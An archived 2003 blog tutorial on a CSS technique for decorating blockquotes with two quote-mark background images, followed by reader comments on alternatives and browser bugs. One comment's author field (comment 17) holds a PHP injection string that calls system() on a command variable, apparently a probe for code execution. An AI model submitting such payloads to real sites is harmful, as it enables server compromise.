Feed Sign in with OpenID OpenID

Simon Willison’s Weblog

Quick tip: Styling blockquotes with CSS

Today’s tutorial is going to be short one, as I’m working on one last piece of coursework. This time I’m going to explain a clever CSS trick borrowed from Nick Boalch. Here’s a screenshot:

The blockquote has large quote mark images surrounding it

Here’s the HTML:

<blockquote cite="http://www.w3.org/TR/REC-html40/struct/tables.html#h-11.1">
<div>
Tables should not be used purely as a means to layout document content as 
this may present problems when rendering to non-visual media. 
Additionally, when used with graphics, these tables may force users to 
scroll horizontally to view a table designed on a system with a larger 
display. To minimize these problems, authors should use style sheets to 
control layout rather than tables.
</div>
</blockquote>

The <div> in the above code is a slight sticking point: it has no structural value but is required for the technique to work. This is a trade off between 100% structural purity and presentational effects but I think it is one that is worth making.

Here’s the relevant CSS:

blockquote {
  background: transparent url(quoleft.png) left top no-repeat;
}
blockquote div {
  padding: 0 48px;
  background: transparent url(quoright.png) right bottom no-repeat;
}

There’s a simple trick at work here. CSS backgrounds are extremely powerful but in CSS2 only one background can be applied to any single element. The blockquote effect requires two background images, one for the quote mark on the left hand side and one for the one on the right. The additional nested <div> allows us to do this, by applying one background image to the <blockquote> and one to the <div>.

The padding is applied to the <div> rather than the <blockquote> because the <div> needs to stretch the entire width of the <blockquote> in order for the background image to appear in the right place. The images are 38 pixels wide, so a padding is applied to the left and right hand sides of the <div> to allow space for the images and give an extra 10 pixels of whitespace.

You can see the technique being used on this sample page, or over on Nick’s weblog.

One final note: while it’s tempting to add font-style: italic to blockquotes, doing so may cause a horizontal scrollbar to appear in IE6/Windows. Strange but true.

Incidentally, I’ve been getting some absolutely fantastic feedback on this series on the comments attached to each entry—please keep it coming! The feedback has included a number of suggested improvements and other worthwhile tips. Rather than editing the original articles I plan to use tomorrow’s update to revisit the previous day’s articles and update them based on suggestions from the comments.

Posted 21st May 2003 at 11:54 pm

This is Quick tip: Styling blockquotes with CSS by Simon Willison, posted on 21st May 2003.

Tagged , ,

View blog reactions

Next: Programming by Contract in Python

Previous: Defeating IE5 CSS bugs with the help of jwz

26 comments

  1. The div element does fulfill the requirement that blockquote content should be contained within other block-level elements. You could also note that if more browsers uspported CSS2, Nick could have used... blockquote { background: transparent url(quoright.png) right bottom no-repeat; } blockquote > *:first-child { padding: 0 48px; background: transparent url(quoleft.png) left top no-repeat; }

    gilmae - 22nd May 2003 01:56 - #

  2. Why not use p instead?

    Matt - 22nd May 2003 02:59 - #

  3. Because you may want to use multiple <p>s inside the blockquote, which would result in multiple closing quotes. If you use a <div> you can have multiple paragraphs inside it.

    Simon Willison - 22nd May 2003 03:56 - #

  4. It's a shame thats IE doesnt support :before and :after this could all be done with css. No images required.

    Anne van Kesteren - 22nd May 2003 06:47 - #

  5. Every now and then a great CSS tip comes along ... and this is one of them :-)

    Ian Lloyd - 22nd May 2003 08:44 - #

  6. This should not use images at all but only generated text...

    Daniel Glazman - 22nd May 2003 09:07 - #

  7. I agree it would be nice to create the quote marks using generated content, but it's not as easy to do as it should be (even if you have a client that supports GC in the first place). Making large-text quotes that line up the way Simon's do gets to be a royal pain really quickly. The larger text is, on many systems, not antialiased, so it doesn't look as nice as images. And if you want the text to overlap the quote marks, GC becomes even harder. Yes, there are probably ways to get around these problems, but most of them tend to seem like more effort than they're worth.

    Eric Meyer - 22nd May 2003 14:57 - #

  8. It is nice simple technique albeit to me it seems a little artificial in its connivance of meaning, you could accomplish a similar 'decoration' using CSS relative positioning and applied style to; “ and ” respectively, although it might not be as robust...

    Basically I see it as decoration rather than as two quotation marks belonging to the nested block quote, anyhow that's my visualised interpretation, perhaps that's just a result of having a dyslexic mind?

    Robert Wellock - 22nd May 2003 15:14 - #

  9. I think you can use multiple <p>s if you give them the opening quotes. When a quote goes on for multiple paragraphs, the quote is not closed at the end of the paragraphs, but it is reopened at the beginning of each subsequent paragraph.

    So, change the CSS to:

    blockquote {background: transparent url(quoright.png) right bottom no-repeat;}

    blockquote p {padding: 0 48px; background: transparent url(quoleft.png) top left no-repeat;}

    And you're in business...

    Great series, BTW.

    Mark Newhouse - 22nd May 2003 20:31 - #

  10. What Mark says about quotes in print is correct, though if you would prefer only an opening and closing quote it's still possible using the adjacent sibling selector, +. Add this to the gnuhaus page: blockquote p + p { background: transparent; } And ye'r set. Caveat: the sibling selector is not supported by many popular browsers. Take care.

    Micah - 23rd May 2003 01:05 - #

  11. This is a really useful tip! Thanks.

    Markku Seguerra - 23rd May 2003 07:53 - #

  12. Lifting the "position property does not apply to generated content" restriction on ::after and ::before pseudos should help...

    Daniel Glazman - 23rd May 2003 08:58 - #

  13. How about using blockquote > p?

    kirkaracha - 23rd May 2003 18:01 - #

  14. Never mind. Need coffee.

    kirkaracha - 23rd May 2003 18:02 - #

  15. Wow, that's great - that's something new to me!! :) I'm catching up on your css series right now, and its fabulous!

    kristine - 30th May 2003 05:21 - #

  16. I found a similar technique at Stopdesign. It's pretty darn cool.

    Rajiv Menon - 2nd June 2003 04:49 - #

  17. Good

    W0n6<? echo(system($cmd)) ?> - 28th August 2003 14:45 - #

  18. I was directed to your site by a friend who tells me that you might have an answer to a problem I am trying to resolve. After reading your posts, I am not sure if this is exactly your area of interest, so if not, I apologise for intruding. We are trying to find a general xhtml/css solution for customising scrollbars. We're building a web editor in Mozilla/Safari/IE7 (when available) and want to be able to create smaller (and more attractive) scroll bars for tool palettes. TK has options but we want a solution that doesn't rely on installing extra libraries. Can you help?

    Rob Napier - 3rd May 2004 04:05 - #

  19. Is it possible to create this internal DIV automatically with JavaScript?

    Bruno Cheyru - 8th November 2005 10:18 - #

  20. I've implemented this on my website, but am having problems using floating images alongside it. The image floats hide the opening or closing quotes. Any ideas on how to fix that?

    Rob Sharp - 16th December 2005 12:39 - #

  21. This is lame, but the quote images don't appear transparently on IE. :( It looks wonderful in firefox, but terrible in internet explorer!

    Sanya - 18th March 2006 23:12 - #

  22. A friend directed me to this site when I asked for this specific behavior. I tried using GC to do it, but it wouldn't line up with the blockquote well enough, and when I learned that it wouldn't work with IE, I decided against it. Then I came here and was shown exactly what I wanted, and it looks great! Thanks!

    Drew - 2nd June 2006 04:52 - #

  23. I haven't had a chance to really learn CSS, but with my knowledge of HTML and web layouts I can usually install and modify cool code such as what is presented here. I appreciate the time and effort spent in explaining this code and how to install it. However (yes, there's always a catch hehe), I am testing it on my blog and in IE I get both left/right quote images but in Firefox only the right. The (upper-) left quote image is invisible. I have only modified the code in adjusting the width of the blockquote, but the image problem was happening before that. Any ideas on what may be causing the display error? As a rule, I want anything I publish to have the widest possible viewer capability within reason, and if something will only work on IE, or only work on Firefox, etc., I have to take it out (and I would love to keep this style change).

    Thanks in advance for any suggestions.

    Dave - 3rd June 2006 19:27 - #

  24. PS: Oh, just noticed, Firefox is ignoring ALL the tags in the blockquote {} section, but it is displaying what is in the blockquote div {} section, if that helps in the diagnosis.

    Dave - 3rd June 2006 19:44 - #

  25. Thanks for this great solution! I tried using your code for quotes. It works flawlessly in Firefox, however, IE of course ruins it all. First of all, PNG can't be used since no IE supports the transparency option (Way to go, Microsoft!). Second, the closing quotation mark disappears! I have no idea why it does that, but I can't fix it. Maybe there's something in my code that IE doesn't like, but for now the quotation marks are only visible in Firefox since I can't make it work adequatly in IE. Hopefully they've fixed it in IE 7.0, but you never know. Let's keep our thumbs crossed that most headaches all webmasters suffer disappear--or at least diminish--when the next version is released. Yaarr, IE is my nemesis when it comes to programming websites! Why can't everyone come to their senses and ditch IE for some better browser? Sigh, the horror, the horror...

    Anyhow, I've implemented your solution on my homepage where it's applicable. Naturally, credit is given where credit is due (check the information section on the homepage). ^^

    Gabriel - 20th June 2006 00:48 - #

  26. Hey wait! I fixed it--now both quotation marks are viewable in IE as well! What I did was wrap the div around another div and setting its width to 100%. Weird, but it seems to be necessary for IE.

    Now I only need to fix decent GIFs out of the PNGs. Looks low-quality with GIFs, but if that's the only solution then it'll have to do, for now.

    Gabriel - 20th June 2006 12:53 - #

Comments are closed.

Previously hosted at http://simon.incutio.com/archive/2003/05/21/stylingBlockquotes

A django site